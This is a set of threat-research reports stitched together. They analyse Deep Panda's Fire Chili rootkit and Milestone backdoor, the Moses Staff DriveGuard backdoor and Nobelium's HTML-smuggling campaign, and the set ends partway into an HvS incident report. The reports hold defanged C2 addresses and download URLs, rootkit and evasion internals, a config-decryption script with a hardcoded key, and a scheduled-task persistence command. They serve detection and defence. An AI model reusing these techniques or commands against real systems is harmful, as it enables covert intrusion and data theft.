hiding TCP connections from tools such as netstat. Much of the code for this part seems to be copied from an open-source project. The rootkit attaches to nsiproxy.sys s device stack and intercepts IOCTLs of type IOCTL_NSI_GETALLPARAM (0x12000B) that are sent to it. This IOCTL is used to retrieve information about the active network connections on the system. When it is intercepted, the driver replaces the IoCompletion routine with a function that filters the results to hide its own network connections. IOCTL_NSI_GETALLPARAM returns the information about network connections in an NSI_PARAM structure. NSI_PARAM contains connection data such as IP, port, connection state, and process IDs of the executables in charge of creating the connection. The filter function iterates this structure, searching for connections involving a process or port number from its global network list. All identified connections are removed from the structure, rendering them hidden from the process that sent the IOCTL. It is interesting to note that the newer build of the 64-bit rootkit added support to filter IOCTLs from 32-bit processes as well. If attaching to nsiproxy.sys fails, the rootkit attaches to \Device\Tcp instead, intercepting IOCTL_TCP_QUERY_INFORMATION_EX (0x120003) and hiding network connections in a similar manner. By default, the global network list is initialized with the following process paths: *\SYN.EXE *\SVCHOST.EXE As a result, TCP connections of all services running under svchost.exe are hidden, not just the ones of the Milestone backdoor. Attribution 9/16 The Milestone backdoor is actually the same Infoadmin RAT that was used by Deep Panda back in the early 2010s, referenced in blogs from 2013 and 2015. Although many backdoors are based on Gh0st RAT code, Milestone and Infoadmin are distinguishable from the rest. Besides having profoundly similar code, both backdoors incorporate identical modifications of Gh0st RAT code not seen in other variants. Both backdoors share a XOR encryption function for encrypting communication and have abandoned the zlib compression of the original Gh0st RAT. Both also modified Gh0st RAT code in an identical way, specifically the CMD and screen capture functions. Moreover, the backdoors share two commands that are not present in other Gh0st RAT variants: the session enumeration command and the command to execute as an administrative user. Additional evidence indicates affiliation to Winnti. The rootkits are digitally signed with certificates stolen from game development companies, which is a known characteristic of Winnti. Searching for more files signed with one of the certificates led to a malicious DLL uploaded to VirusTotal with the name winmm.dll. Further examination revealed it as the same tool referenced in a blog about Winnti that was published in 2013. Yet another connection to Winnti is based on a C2 domain. Two of the newdev.dll loaders are configured with the server gnisoft[.]com, which was attributed to Winnti in 2020. Conclusion In this blog, we have attributed a series of opportunistic Log4Shell infections from the past month to Deep Panda. Though previous technical publications on Deep Panda were published more than half a decade ago, this blog also relates to a more recent report about the Milestone backdoor, which shows that their operations have continued throughout all these years. Furthermore, we introduced the previously unknown Fire Chili rootkit and two compromised digital signatures, one of which we also directly linked to Winnti. Although both Deep Panda and Winnti are known to use rootkits as part of their toolset, Fire Chili is a novel strain with a unique code base different from the ones previously affiliated with the groups. The reason these tools are linked to two different groups is unclear at this time. It s possible that the groups developers shared resources, such as stolen certificates and C2 infrastructure, with each other. This may explain why the samples were only signed several hours after being compiled. Fortinet Solutions FortiEDR detects and blocks these threats out-of-the-box without any prior knowledge or special configuration. It does this using its post-execution prevention engine to identify malicious activities: Figure 12: FortiEDR blocking communication for download & execute after Log4Shell exploitation 10/16 Figure 13: FortiEDR blocking the backdoor from communicating with the C2 post-infection All network IOCs have been added to the FortiGuard WebFiltering blocklist. The FortiGuard Antivirus service engine is included in Fortinet s FortiGate, FortiMail, FortiClient, and FortiEDR solutions. FortiGuard Antivirus has coverage in place as follows: W32/Themida.ICD!tr BAT/Agent.6057!tr W64/Agent.A10B!tr W32/Agent.0B37!tr W32/GenKryptik.FQLT!tr W32/Generic.AC.F834B!tr W32/GenKryptik.ATCY!tr W32/Generic.AP.33C2D2!tr W32/GenKryptik.AQZZ!tr W32/Generic.HCRGEJT!tr W32/Agent.DKR!tr W32/Agent.QNP!tr W32/Agent.RXT!tr W32/Agentb.BXIQ!tr W32/Agent.DA3E!tr W32/Agent.D584!tr W32/Agent.0F09!tr W32/Agent.3385!tr W64/Agent.D87B!tr.rkit W32/Agent.69C1!tr.rkit In addition, as part of our membership in the Cyber Threat Alliance, details of this threat were shared in real-time with other Alliance members to help create better protections for customers. Appendix A: MITRE ATT&CK Techniques Description T1190 Exploit Public-Facing Application T1569.002 System Services: Service Execution T1059.001 Command and Scripting Interpreter: PowerShell 11/16 T1027 Obfuscated Files or Information: Software Packing T1041 Exfiltration Over C2 Channel T1082 System Information Discovery T1036 Masquerading T1083 File and Directory Discovery T1059.003 Command and Scripting Interpreter: Windows Command Shell T1592 Gather Victim Host Information T1588.003 Obtain Capabilities: Code Signing Certificates T1014 Rootkit T1574.002 Hijack Execution Flow: DLL Side-Loading T1620 Reflective Code Loading T1113 Screen Capture Appendix B: IOCs Type Details ece45c25d47ba362d542cd0427775e68396bbbd72fef39823826690b82216c69 SHA256 Backdoor 517c1baf108461c975e988f3e89d4e95a92a40bd1268cdac385951af791947ba SHA256 Backdoor a573a413cbb1694d985376788d42ab2b342e6ce94dd1599602b73f5cca695d8f SHA256 Backdoor 9eeec764e77bec58d366c2efc3817ed56371e4b308e94ad04a6d6307f2e12eda SHA256 Backdoor d005a8cf301819a46ecbb1d1e5db0bf87951808d141ada5e13ffc4b68155a112 SHA256 Backdoor 69c69d71a7e334f8ef9d47e7b32d701a0ecd22ce79e0c11dabbc837c9e0fedc2 SHA256 Backdoor 12/16 dfd2409f2b0f403e82252b48a84ff4d7bc3ebc1392226a9a067adc4791a26ee7 SHA256 Backdoor 07c87d036ab5dca9947c20b7eb7d15c9434bb9f125ac564986b33f6c9204ab47 SHA256 Backdoor c0a2a3708516a321ad2fd68400bef6a3b302af54d6533b5cce6c67b4e13b87d3 SHA256 Backdoor f8b581393849be5fc4cea22a9ab6849295d9230a429822ceb4b8ee12b1d24683 SHA256 Backdoor 14930488158df5fca4cba80b1089f41dc296e19bebf41e2ff6e5b32770ac0f1e SHA256 Backdoor a9fa8e8609872cdcea241e3aab726b02b124c82de4c77ad3c3722d7c6b93b9b5 SHA256 Backdoor e92d4e58dfae7c1aadeef42056d5e2e5002814ee3b9b5ab1a48229bf00f3ade6 SHA256 Backdoor 855449914f8ecd7371bf9e155f9a97969fee0655db5cf9418583e1d98f1adf14 SHA256 Backdoor a5fd7e68970e79f1a5514630928fde1ef9f2da197a12a57049dece9c7451ed7b SHA256 Backdoor f5eb8949e39c8d3d70ff654a004bc8388eb0dd13ccb9d9958fd25aee47c1d3ae SHA256 Backdoor 64255ff02e774588995b203d556c9fa9e2c22a978aec02ff7dea372983b47d38 SHA256 Backdoor b598cb6ba7c99dcf6040f7073fe313e648db9dd2f6e71cba89790cc45c8c9026 SHA256 Backdoor 2d252c51a29f86032421df82524c6161c7a63876c4dc20faffa47929ec8a9d60 SHA256 Backdoor 2de6fb71c1d5ba0cd8d321546c04eaddddbf4a00ce4ef6ca6b7974a2a734a147 SHA256 Backdoor bd5d730bd204abaddc8db55900f307ff62eaf71c0dc30cebad403f7ce2737b5c SHA256 Backdoor 412464b25bf136c3780aff5a5a67d9390a0d6a6f852aea0957263fc41e266c8b SHA256 Backdoor 0d096d983d013897dbe69f3dae54a5f2ada8090b886ab68b74aa18277de03052 SHA256 Backdoor cfba16fa9aa7fdc7b744b2832ef65558d8d9934171f0d6e902e7a423d800b50f SHA256 Backdoor a71b3f06bf87b40b1559fa1d5a8cc3eab4217f317858bce823dd36302412dabc SHA256 Backdoor 235044f58c801955ed496f8c84712fdb353fdd9b6fda91886262234bdb710614 SHA256 Backdoor 13/16 e1a51320c982179affb26f417fbbba7e259f819a2721ab9eb0f6d665b6ea1625 SHA256 Backdoor d1be98177f8ae2c64659396277e7d5c8b7dba662867697feb35282149e3f3cbb SHA256 Backdoor ab3470a45ec0185ca1f31291f69282c4a188a46e SHA1 Backdoor 10de515de5c970385cd946dfda334bc10a7b2d65 SHA1 Backdoor eb231f08cce1de3e0b10b69d597b865a7ebac4b3 SHA1 Backdoor 66c3dfcb2cc0dfb60e40115e08fc293276e915c2536de9ed6a374481279b852b SHA256 Loader 73640e8984ad5e5d9a1fd3eee39ccb4cc695c9e3f109b2479296d973a5a494b6 SHA256 Loader 7777bd2bdeff2fd34a745c350659ee24e330b01bcd2ee56d801d5fc2aceb858c SHA256 Loader 8bf4e301538805b98bdf09fb73e3e370276a252d132e712eae143ab58899763e SHA256 Loader 18b2e1c52d0245824a5bac2182de38efb3f82399b573063703c0a64252a5c949 SHA256 Loader d5c1a2ca8d544bedb0d1523db8eeb33f0b065966f451604ff4715f600994bc47 SHA256 0939b68af0c8ee28ed66e2d4f7ee6352c06bda336ccc43775fb6be31541c6057 SHA256 0595a719e7ffa77f17ac254134dba2c3e47d8c9c3968cda69c59c6b021421645 SHA256 Dropper 7782fdc84772c6c5c505098707ced6a17e74311fd5c2e2622fbc629b4df1d798 SHA256 Dropper 18751e47648e0713345552d47752209cbae50fac07895fc7dd1363bbb089a10b SHA256 Driver 64bit e4e4ff9ee61a1d42dbc1ddf9b87223393c5fbb5d3a3b849b4ea7a1ddf8acd87b SHA256 Driver 64bit 395dbe0f7f90f0ad55e8fb894d19a7cc75305a3d7c159ac6a0929921726069c1 SHA256 Driver 32bit befc197bceb3bd14f44d86ff41967f4e4c6412604ec67de481a5e226f8be0b37 SHA256 Driver 32bit 14/16 1c617fd9dfc068454e94a778f2baec389f534ce0faf786c7e24db7e10093e4fb SHA256 Legitimate Synaptics Setup.exe bde7b9832a8b2ed6d33eb33dae7c5222581a0163c1672d348b0444b516690f09 SHA256 syn.exe 8b88fe32bd38c3415115592cc028ddaa66dbf3fe024352f9bd16aed60fd5da3e SHA256 syn.exe ba763935528bdb0cc6d998747a17ae92783e5e8451a16569bc053379b1263385 SHA256 syn.exe 9908cb217080085e3467f5cedeef26a10aaa13a1b0c6ce2825a0c4912811d584 SHA256 syn.exe c6bcde5e8185fa9317c17156405c9e2c1f1887d165f81e31e24976411af95722 SHA256 winmm.dll 3403923f1a151466a81c2c7a1fda617b7fbb43b1b8b0325e26e30ed06b6eb936 SHA256 Backdoor 9BCD82563C72E6F72ADFF76BD8C6940C6037516A Certificate thumbprint 2A89C5FD0C23B8AF622F0E91939B486E9DB7FAEF Certificate thumbprint 192.95.36[.]61 Network vpn2.smi1egate[.]com Network svn1.smi1egate[.]com Network giga.gnisoft[.]com Network giga.gnisoft[.]com Network 104.223.34[.]198 Network 103.224.80[.]76 Network hxxp://104.223.34[.]198/111.php Network hxxp://104.223.34[.]198/1dll.php Network hxxp://104.223.34[.]198/syn.php Network 15/16 hxxp://104.223.34[.]198/p.txt Network msupdate2 Service name WebService Service name Service name msupdate Service name msupdateday Service name DigaTrack Service name crtsys.sys File name %APPDATA%\syn.exe File name %APPDATA%\newdev.dll File name Learn more about Fortinet s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio. 16/16 Guard Your Drive from DriveGuard: Moses Staff Campaigns Against Israeli Organizations Span Several Months fortinet.com/blog/threat-research/guard-your-drive-from-driveguard February 15, 2022 FortiGuard Labs Research Affected Platforms: Windows Impacted Users: Windows Users Impact: Data theft and execution of additional malicious payloads Severity Level: Critical Over the past year, FortiEDR has prevented multiple attacks that attempted to exploit various Microsoft Exchange server vulnerabilities, some of which we have previously covered. Among these attacks, we identified a campaign operated by Moses Staff, a geo-political motivated threat group believed to be sponsored by the Iranian government. After tracking this campaign for the last several months we found that the group has been using a custom multi-component toolset for the purpose of conducting espionage against its victims. This campaign exclusively targets Israeli organizations. Close examination reveals that the group has been active for over a year, much earlier than the group s first official public exposure, managing to stay under the radar with an extremely low detection rate. In this blog, we will cover the Techniques, Tactics, and Procedures (TTPs) used by Moses Staff and reveal a new backdoor used by them to download files, execute payloads, and exfiltrate data from target networks, along with threat intelligence data on their activities. Infection Vector The initial infiltration was accomplished by leveraging the ProxyShell exploit in Microsoft Exchange servers to allow an unauthenticated attacker to execute arbitrary commands on them through an exposed HTTP\S port. As a result, the attackers were able to deploy two web shells: C:/inetpub/wwwroot/aspnet_client/system_web/iispool.aspx C:/inetpub/wwwroot/aspnet_client/system_web/map.aspx 1/15 These two web shells are used in conjunction with one another, and some of their functionalities overlap. On numerous occasions, map.aspx was used to validate the results of the commands executed by iispool.aspx. Post infection, the attackers dedicated several days to the exfiltration of PST files and other sensitive data from the compromised server. Next, they attempted to steal credentials by creating a memory dump of lsass.exe using a LOLBin. Finally, the attackers dropped and installed the backdoor components. Figure 1: Command line for dumping memory for lsass.exe Execution Chain The loader resides in C:\Windows\System32\drvguard.exe. When executed with the command-line argument, it installs itself as a service named DriveGuard. Figure 2: DriveGuard service properties The loader is responsible for executing the backdoor component and then monitoring its process, executing it whenever it has stopped. In addition, it launches a watchdog mechanism that ensures its own service is never stopped. The following flow chart illustrates the described process: 2/15 Figure 3: Loading mechanism flow If the backdoor does not exist on the disk, the loader creates it by reading the content of C:\Windows\System32\rsc.dat and restoring its DOS header magic value to 4D 5A 90. The valid executable is written to disk at C:\Windows\System32\broker.exe 3/15 Figure 4: rsc.dat the backdoor without magic bytes in the header The next step is to execute the backdoor. When doing so, the loader attempts to spoof the backdoor s parent process to be svchost.exe. This is achieved via calling CreateProcess and setting the parent process attribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) to the first svchost.exe process found in the system. Parent process spoofing may aid in the evasion of security products. Generally, this method may also be used for gaining SYSTEM privileges, but in our case, the loader is already running as a system service. If the spoofing fails, the loader will run the backdoor without it. The backdoor is executed with the command-line argument -ser Service Watchdog The loader also sets a watchdog to ensure it remains operational. The watchdog module, lic.dll, is injected to a newly spawned lsass.exe process. The injection is implemented in inj.dll, which uses VirtualAllocEx and SetThreadContext to run shellcode in the target process. The shellcode loads a DLL and then jumps back to the previous instruction pointer of the thread. Subsequently, lic.dll begins to monitor the DriveGuard service, restarting it whenever it has stopped. In addition, it ensures that the DriveGuard service is always configured to start automatically on system startup. Figure 5: The shellcode injected by inj.dll into lsass.exe Broker Backdoor The backdoor component oversees receiving and executing commands from the C2 server. It runs only if it receives the command-line argument -ser . Otherwise, it triggers a divide-byzero exception. This is most likely an attempt to thwart dynamic analysis by automatic security products such as sandboxes. To ensure that only one instance of the backdoor is running on the system, it creates an event called Program event 4/15 Figure 6: Event created by the backdoor Configuration The backdoor s configuration is stored encrypted in a file at C:\Users\Public\Libraries\cfg.dat. The encryption scheme used is XOR-based and can be decrypted by the following Python code. The hardcoded key is consistent throughout all the samples in our possession. 5/15 def decrypt(encrypted): key = '9c4arSBr32g6IOni' result = '' for i in range(len(encrypted)): key_char = ord(key[i%16]) + 4 enc_char = encrypted[i] result_char = (key_char ^ enc_char) + 4 result += chr(result_char) return result Figure 7: Python implementation of the decryption routine for the configuration file The decrypted configuration contains two sets of C2 and URI addresses, alongside a time interval, in seconds, that determines the frequency at which to contact the server. A random value between 0 and 2 seconds is added to the interval to cause jitter. If the configuration file does not exist, the malware uses plaintext configuration values hardcoded in the executable. In our samples, these values are identical to the ones in the configuration file. Figure 8: Decrypted backdoor configuration Communicate Your Boundries The main part of the malware oversees communication with the server, parsing its responses and executing commands. The backdoor first sends a POST request, as can be seen in figure 9, to the first configured server. It alternates between contacting the two servers depending on their status, switching between them when they are unresponsive or return empty replies. 6/15 Figure 9: HTTP POST request sent by the backdoor to the C2 The request looks like encoded HTML form data that is delimited by a boundary value which appears to contain a misspelled "BoundrySign" string. The noteworthy fields in the request are token and data . The data field contains information about the infected machine. The machine time zone has been chosen by the attackers for the purpose of regional attribution. This string is encrypted with the same algorithm and key that were used to encrypt the configuration file. 7/15 Figure 10: Format of victim information sent to the C2 Interestingly, the malware fails to retrieve the correct OS version due to usage of the deprecated GetVersionEx API, which causes executables without updated manifests to invariably return the Windows 8 value while actually running on a newer operating system. The token field is comprised of the hostname, username, and an ID. The hostname and username are encrypted with a ROT5 Caesar cipher, meaning that 5 is added to each character s ascii value. The encrypted result is then appended to the ID. Figure 11: Format of unique identifier sent to the C2 The ID is hardcoded in the binary and is a distinctive identifier of a specific target organization. Namely, backdoor binaries are specially compiled per target before they are deployed by the threat actor. The backdoor continually queries the server for commands. In the event of five consecutive unsuccessful queries, the backdoor will switch to contacting the backup server. An unsuccessful query is considered to be one of the following: The server is unresponsive. The parsed response starts with the byte 0xA. The parsed response is empty. The server response is parsed until the first character and everything after is disregarded. If the response lacks a it is treated as an empty response. If the parsed server response is , the backdoor will continue to query the same server without switching to the backup server. Any other response is treated as a command. As such, it is decrypted with the same algorithm and key as specified previously. If the decrypted response data is self, the backdoor stops executing. Otherwise, it proceeds to parse the decrypted data as a command with the following format: Figure 12: Format of commands sent by the C2 8/15 Type The command type. This can be one of the values from the Type column in the Commands table. Arg1 Arg4 The command arguments. Not all arguments are provided for every command, in which case their value will be the string null A unique identifier. This ID is sent to the server alongside the command results to associate the results with the executed command. Supported Commands The following is a list of the commands that the backdoor may receive from the server. Several commands involve downloading additional DLLs from the server and executing them. The functionality of these modules is unknown at this time. Type Description Directory listing (recursive). Execute command line. Upload a file from the disk to the C2. Download a file from the C2 and save to the disk. Download a DLL from the C2 and execute it using LoadLibrary, calling its mainfunc export. Download a DLL from the C2 and execute it using LoadLibrary, calling its mkb64 export. Download a DLL from the C2 and execute it using LoadLibrary, calling its mkb64 export. Update the interval field in the configuration. Delete the malware from the disk using a CMD command. This may potentially be used in conjunction with the self command for complete self-destruction. Update the tool by running CMD commands to replace the current module on the disk with a file received from the C2. 9/15 Update the C2 and URI fields in the configuration. inf* Send the configuration content and the malware s filename to the C2. cmprs* 7-zip compress using ar.dll and ar.dat utilities. If they are not present on the disk, the tool downloads them from the C2. sc** Capture a screenshot, saving it to C:\Users\Public\Libraries\tmp.bin before sending it unencrypted to the C2. kl** The command name and its operation imply keylogger functionality. The first time this command is received, the malware will download a DLL from the C2 and execute it using LoadLibrary, calling its strt export. Upon subsequent receipts of this command, the contents of C:\Users\Public\Libraries\async.dat will be sent to the C2. This DLL most likely writes its output to that file. However, as it is not in our possession, we cannot confirm this. au** Establish scheduled task persistence for itself using the following command: SCHTASKS /CREATE /TN "Mozilla\Firefox Default Browser Agent 409046Z0FF4A39CB" /ST 11:00 /F /SC DAILY /TR Figure 13: List of supported commands * Command present in the newer versions only ** Command present in the older versions only History of Operations Using Yara rules in VirusTotal s retrohunt engine we detected two older samples of the backdoor. Both samples were uploaded around the end of December 2020, which leads us to believe that this campaign has been operating for at least a year. Until recently, they have been flying under the radar with a very low detection rate. 10/15 Figure 14: VirusTotal entries of the older backdoor versions The most notable differences between the versions are the configuration file and the commands. In lieu of a configuration file, the older variants exclusively use values hardcoded in the binary. In terms of commands, a few modifications have taken place in between the versions. As can be seen in figure 13, various new commands have been added to the latest samples, while other commands have been eliminated. Although commands were removed, we assess that the code might have been moved to one of the modules that can be fetched from the server. Certain modifications may aim to improve covertness and hinder detection. For example, the older samples were able to receive the command to register a scheduled task using a command-line that was hardcoded in the binary. On the other hand, in recent attacks, we observed task registration via a scheduled task XML file that was dropped by the backdoor. The last minor difference between versions is the name of the event. Older versions created an event called program Event . This capitalization error was corrected in the recent versions. Searching for the C2 addresses in FortiGuard Labs threat intelligence systems shows a large spike in traffic volume during April 2021. This indicates that the group was operational long before their initial public exposure. All the network traffic to the malicious servers originated from Israeli IP addresses Figure 15: FortiGuard Labs' historical data for C2 IP address 11/15 Figure 16: FortiGuard Labs historical data for C2 domain name During our investigations, we were able to take over and sinkhole the techzenspace[.]com domain in the beginning of January 2022. This was done to try and prevent the backdoor from operating for the near future while attempting to identity additional infected organizations that are not Fortinet customers. Attribution We were able to attribute the iispool.aspx web shell to the Moses Staff group based on past research. Both the web shell path and its code are identical to the ones previously reported. Another recent publication referenced in the previous section reaffirms our attribution. All victims are Israeli organizations belonging to various industries. Although the attacks we identified did not reach a destructive stage, we can t rule out the possibility that the backdoor is used before that to exfiltrate data from target networks. Conclusion We have been monitoring Moses Staff operations closely these past few months. We have analyzed new TTPs and attributed a new set of tools to the group, including a backdoor, a loader and a web shell. The group is highly motivated, capable, and set on damaging Israeli entities. While they have been operating continuously and vigorously since late 2020, they were only publicly acknowledged about a year after. At this point, they continue to depend on 1-day exploits for their initial intrusion phase. Although the attacks we identified were carried out for espionage purposes, this does not negate the possibility that the operators will later turn to destructive measures. We believe that ransomware or wipers may have not been deployed because FortiEDR blocked earlier stages of the attack. Fortinet Protections FortiEDR detects and blocks these threats out-of-the-box without any prior knowledge or special configuration. It does this using its post-execution prevention engine to identify malicious activities: 12/15 Figure 17: FortiEDR blocking the memory dumping attempt of lsass.exe Figure 18: FortiEDR blocking the backdoor communication All network IOCs have been added to the FortiGuard WebFiltering blocklist. The FortiGuard AntiVirus service engine is included in Fortinet s FortiGate, FortiMail, FortiClient, and FortiEDR solutions. FortiGuard AntiVirus has coverage in place as follows: ASP/Webshell.DW!tr W64/Agent.AVV!tr W32/Agent.UWN!tr W32/Agent.UYS!tr W64/Agent.AVS!tr W64/Agent.AVU!tr In addition, as part of our membership in the Cyber Threat Alliance, details of this threat were shared in real time with other Alliance members to help create better protections for customers. Appendix A MITRE ATT&CK Techniques Description T1190 Exploit Public-Facing Application T1505.003 Server Software Component: Web Shell T1083 File and Directory Discovery T1003.001 OS Credential Dumping: LSASS Memory T1005 Data from Local System T1114 Email Collection 13/15 T1569.002 System Services: Service Execution T1480 Execution Guardrails T1134.004 Access Token Manipulation: Parent PID Spoofing T1055 Process Injection T1140 Deobfuscate/Decode Files or Information T1071.001 Application Layer Protocol: Web Protocols T1082 System Information Discovery T1033 System Owner/User Discovery T1573.001 Encrypted Channel: Symmetric Cryptography T1008 Fallback Channels T1059.003 Command and Scripting Interpreter: Windows Command Shell T1113 Screen Capture T1053.005 Scheduled Task/Job: Scheduled Task T1041 Exfiltration Over C2 Channel Appendix B: IOCs File Hashes (SHA256) 2ac7df27bbb911f8aa52efcf67c5dc0e869fcd31ff79e86b6bd72063992ea8ad (map.aspx) ff15558085d30f38bc6fd915ab3386b59ee5bb655cbccbeb75d021fdd1fde3ac (agent4.exe) cafa8038ea7e46860c805da5c8c1aa38da070fa7d540f4b41d5e7391aa9a8079 (calc.exe) 14/15 File Names iispool.aspx map.aspx drvguard.exe agent4.exe calc.exe inj.dll lic.dll Event Names program Event Program event 87.120.8[.]210 Domains techzenspace[.]com URLs hxxp://87.120.8.210:80/RVP/index3.php hxxp://techzenspace.com:80/RVP/index8.php Learn more about Fortinet s FortiGuard Labs. 15/15 Nobelium Returns to the Political World Stage fortinet.com/blog/threat-research/nobelium-returns-to-the-political-world-stage February 24, 2022 FortiGuard Labs Research Affected Platforms: Windows Impacted Users: Windows users associated with the targeted embassies Impact: Compromised machines are under the control of the threat actor Severity Level: Medium Nobelium, also known as APT29 and Cozy Bear, is a highly sophisticated group of Russiansponsored cybercriminals. Approximately two years ago, countless system administrators and IT teams were forced to work around the clock to address Nobelium s attack on SolarWinds. And last year, they similarly targeted numerous IT supply chains in the hopes of being able to embed themselves once again deep inside IT networks. But fast forward to today, and the Nobelium group seems to have shifted their focus. This time, rather than targeting software solutions, they have begun targeting embassies. While these attacks may not impact the average Windows computer user, they do have potentially larger political ramifications. FortiGuard Labs has uncovered evidence that the Nobelium group is impersonating someone associated with the Turkish embassy in targeted email-based attacks. We will be analyzing one such attack that uses Omicron/Covid-19 as a lure. Those working in or around embassies are urged to be extra diligent when opening emails. In this blog, we will highlight techniques and code reuse by Nobelium. We will also highlight the usage of JARM, which is a widely used technology created by Salesforce to fingerprint and track malicious servers. Figure 1: Embassy email The source email address seems to be a legitimate, albeit compromised email account of a government department focused on social affairs. In tracing this, however, this email comes from a French-speaking country in Africa. It is disguised as coming from a Turkish embassy and sent to a Portuguese-speaking nation, although it is written in English. The email itself comes with a .HTML file attachment. This file contains malicious JavaScript designed to create an .ISO file on the user s computer. Figure 2 shows some similarities between a previous Nobelium attack and this current version. Figure 2: Malicious Javascript The original HTML Smuggling attack conducted by Nobelium used EnvyScout to convert a text blob into an .ISO file. EnvyScout is one of the toolsets used as a dropper in spearphishing attacks by this APT group. As seen in Figure 2, both samples used an application type of xcd-image. This part of the attack has changed very little. However, Figure 3 below shows the function used to create the .ISO file has been streamlined from previous iterations. Figure 3: ISO creation Once the .ISO file has been created on the user s machine, the attack requires a user to open the file. By default, opening an .ISO file on modern versions of Windows causes it to mount the file on the next available drive letter. Once mounted, the files can be seen. Figure 4 below shows this part of the attack chain. Figure 4: Mounted ISO files One of the previous variants of the Nobelium attack was dated almost exactly one year prior to the current attack. Both versions contain malicious shortcuts that point to a DLL file. In the current version, the DLL file inside the bin folder is named DeleteDateConnectionPosition.dll. In the past, one of the payloads used was a Cobalt Strike beacon, and this is the case in this current version. Given the current political situation, it is clearly in Russia s best interest to know what other governments are thinking, planning, and doing, and successful installation of a Cobalt Strike beacon provides a foothold into the embassies they are interested in monitoring. To achieve this objective, the shortcut launches the DLL using an export named DeleteDateConnectionPosition. Figure 5: DLL Exports Many of the exports inside the DLL contain junk code. As such, debugging the malware is faster than statically analyzing it. Once completed we discovered a C2 server, as shown below. Figure 6: Debugging the malicious DLL According to our sources, this server is not a shared server and the IP address only contains the sinitude[.]com domain. JARM Fingerprinting For those unfamiliar with JARM, it is a technology developed by Salesforce to fingerprint servers for the purposes of clustering. Specifically, JARM revolves around a server s TLS implementation. As further explained by Salesforce, it is not a secure crypto function, and as a result, it may produce false positives. Nevertheless, it has been a fairly accurate way to group malicious servers into relevant clusters. The JARM signature for sinitude[.]com has been found on numerous servers. Many of these servers have also acted as Cobalt Strike beacon C2 servers. During the course of our investigation, we found that this JARM signature was also found on C2 servers associated with the malware family BazarLoader. BazarLoader, among other things, contains code and application guardrails that makes sure it is not running on a Russian computer. By looking at network traffic since the beginning of this year, we found that several IP addresses are connected to sinitude[.]com. However, our data indicates that only one IP address (back in January) actually created a full connection to communicate with the C2. This IP address is located in Kharkiv, the second largest city in Ukraine. This Kharkiv IP address itself has communicated with unique malware families and is part of the TOR network. Conclusion In this latest attack, Nobelium has used techniques similar to those they have used in the past. Malicious emails remain the predominant way to infiltrate organizations, and Nobelium takes advantage of that attack vector. The biggest difference now is the political landscape. While previous attacks carried out by Nobelium may have been more technical in nature, this latest round has far more consequences on the political world stage. Fortinet Protections The FortiGuard Antivirus Service detects and blocks both the .ISO and DLL files as W64/CobaltStrike_Beacon.A!tr. The FortiGuard Antivirus Service detects and blocks the malicious html email attachment as JS/Agent.ONO!tr. All relevant network IOCs are blocked by the WebFiltering client. MITRE TTPs Initial Access Phishing: Spearphishing Attachment T1566.001 Execution Command and Scripting Interpreter: JavaScript T1059.007 User Execution: Malicious File T1204.002 Defense Evasion Build Image on Host T1612 Deobfuscate/Decode Files or Information T1140 Obfuscated Files or Information: HTML Smuggling T1027.006 Command and Control Application Layer Protocol: Web Protocols T1071.001 Impact Resource Hijacking T1496 IOCs File IOCs Covid.html (SHA2: A896C2D16CADCDEDD10390C3AF3399361914DB57BDE1673E46180244E806A1D0) Covid.iso (SHA2: 3CB0D2CFF9DB85C8E816515DDC380EA73850846317B0BB73EA6145C026276948) DeleteDateConnectionPosition.dll (SHA2: 6EE1E629494D7B5138386D98BD718B010EE774FE4A4C9D0E069525408BB7B1F7) Network IOCs Sinitude[.]com JARM Signature: 2ad2ad0002ad2ad0002ad2ad2ad2ade1a3c0d7ca6ad8388057924be83dfc6a Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio. HvS-Consulting AG Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection, and log4shell Date: 14.02.2022 Version: Classification: TLP-White Contact HvS-Consulting AG Parkring 20 85748 Garching bei M nchen Germany Phone: +49 89 890 63 62 0 E-Mail: incidentresponse@hvs-consulting.de https://www.hvs-consulting.de HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell CONTENTS OF THIS REPORT ABSTRACT .......................................................................... 1 THE CHANGING THREAT LANDSCAPE IN 2021 ..... 2 1 Just Another Incident Response investigation? . 2 2 The Major Vulnerabilities in 2021 .......................... 3 3 A Spotlight on the Role of APT Groups .............. 6 4 Lessons Learned from 2021 .................................... 8 INSIGHTS INTO AN EMISSARY PANDA ATTACK . 10 5 Timeline of the Attack .............................................10 5.1 Phase 1: Initial Compromise ......................................... 12 5.2 Phase 2: Persistence ....................................................... 13 5.3 Phase 3: Reaction and Last Data Exfiltration ........... 13 6 Description of Observed TTPs ............................. 14 6.1 Resource Development ................................................. 15 6.2 Initial Access ...................................................................... 15 6.3 Execution............................................................................ 15 6.4 Persistence ......................................................................... 16 6.5 Privilege Escalation .......................................................... 17 6.6 Defense Evasion ............................................................... 17 6.7 Credential Access ............................................................ 19 6.8 Discovery ............................................................................ 19 6.9 Lateral Movement .......................................................... 20 6.10 Collection .......................................................................... 20 6.11 Command and Control.................................................. 21 7 OSINT analysis of C2 infrastructure ................... 22 8 Malware Analysis of HyperBro............................. 23 8.1 Overview ........................................................................... 23 8.2 PE Loader .......................................................................... 24 8.3 Capabilities ....................................................................... 28 8.4 HyperBro Configuration Extractor ............................. 30 9 Detection of Emissary Pandas activities ............. 31 9.1 Indicators of Compromise (IOCs) ............................... 31 9.2 YARA Rules ....................................................................... 34 9.3 Defender Detection Rules ............................................ 36 THE TWO EMPHASES OF THE REPORT THE CHANGING THREAT LANDSCAPE IN 2021 A summary of our observations of the threat landscape in 2021, the activities of APT groups, and derived recommendations for your cyber security strategy. Start reading on page 2. INSIGHTS OF AN EMISSARY PANDA ATTACK Here you find a lot of technical details like the timeline, TTPs, IOCs of an Emissary Panda attack, including our malware analysis results of their HyperBro malware. Start reading on page 10. HvS-Consulting AG 2022 Page 1 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell ABSTRACT ProxyLogon (Hafnium) in Exchange, OGNL injection in Confluence, log4shell in the log4j library. 2021 was rife with critical vulnerabilities. They were exploited by ransomware gangs and hackers for mining crypto currencies. But where have the professional spies, the APT groups been? Did they miss such opportunities and take a vacation from cyber warfare? Surely they didn't. And we have collected evidence. The benefactors of the scatter fire The APT group Emissary Panda (also known as APT27, LuckyMouse) has exploited the Microsoft Exchange 